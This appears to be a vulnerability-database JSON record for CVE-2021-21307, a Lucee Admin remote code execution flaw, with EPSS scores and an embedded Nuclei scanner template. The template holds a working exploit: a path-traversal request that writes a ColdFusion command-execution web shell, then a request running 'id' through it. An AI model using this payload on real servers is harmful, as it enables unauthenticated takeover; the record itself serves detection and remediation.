{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-21307/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-21307/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-21307/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-21307/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-21307/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-21307"},"sightings":{"href":"/api/v1/sightings/cve-2021-21307"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.89189,"kev":false,"percentile":0.99774},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-21307.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2021-21307\n\ninfo:\n  name: Lucee Admin - Remote Code Execution\n  author: dhiyaneshDk\n  severity: critical\n  description: Lucee Admin before versions 5.3.7.47, 5.3.6.68 or 5.3.5.96 contains an unauthenticated remote code execution vulnerability.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.\n  remediation: This is fixed in versions 5.3.7.47, 5.3.6.68 or 5.3.5.96. As a workaround, block access to the Lucee Administrator.\n  reference:\n    - https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r\n    - https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-21307\n    - http://ciacfug.org/blog/updating-lucee-as-part-of-a-vulnerability-alert-response\n    - https://dev.lucee.org/t/lucee-vulnerability-alert-november-2020/7643\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-21307\n    cwe-id: CWE-862\n    epss-score: 0.89189\n    epss-percentile: 0.99774\n    cpe: cpe:2.3:a:lucee:lucee_server:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 3\n    vendor: lucee\n    product: lucee_server\n  tags: cve2021,cve,rce,lucee,adobe,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /lucee/admin/imgProcess.cfm?file=/whatever HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        imgSrc=a\n      - |\n        POST /lucee/admin/imgProcess.cfm?file=/../../../context/{{randstr}}.cfm HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        imgSrc=\n        <cfoutput>\n\n        <table>\n        <form method=\"POST\" action=\"\">\n        <tr><td>Command:</td><td><input type=test name=\"cmd\" size=50\n        <cfif isdefined(\"form.cmd\")>value=\"#form.cmd#\"</cfif>><br></td></tr>\n        <tr><td>Options:</td><td> <input type=text name=\"opts\" size=50\n        <cfif isdefined(\"form.opts\")>value=\"#form.opts#\"</cfif>><br></td></tr>\n        <tr><td>Timeout:</td><td> <input type=text name=\"timeout\" size=4\n        <cfif isdefined(\"form.timeout\")>value=\"#form.timeout#\"\n        <cfelse> value=\"5\"</cfif>></td></tr>\n        </table>\n        <input type=submit value=\"Exec\" >\n        </form>\n        <cfif isdefined(\"form.cmd\")>\n        <cfsavecontent variable=\"myVar\">\n        <cfexecute name = \"#Form.cmd#\"\n        arguments = \"#Form.opts#\"\n        timeout = \"#Form.timeout#\">\n        </cfexecute>\n        </cfsavecontent>\n        <pre>\n      # HTMLCodeFormat(myVar)# </pre> </cfif> </cfoutput>\n      - |\n        POST /lucee/{{randstr}}.cfm HTTP/1.1\n        Host: {{Hostname}}\n        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\n        Content-Type: application/x-www-form-urlencoded\n\n        cmd=id&opts=&timeout=5\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"uid=\"\n          - \"gid=\"\n          - \"groups=\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        regex:\n          - \"(u|g)id=.*\"\n# digest: 4a0a00473045022033029ca3635d5434bffee924b927144e7a81bfbd283b8dc5a3dbd6e7b4690f5c022100c0c7e1852df22ed469da309cf7e460e4902adf0c33da9cad45b4bc956cd8f3a2:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2021-21307"}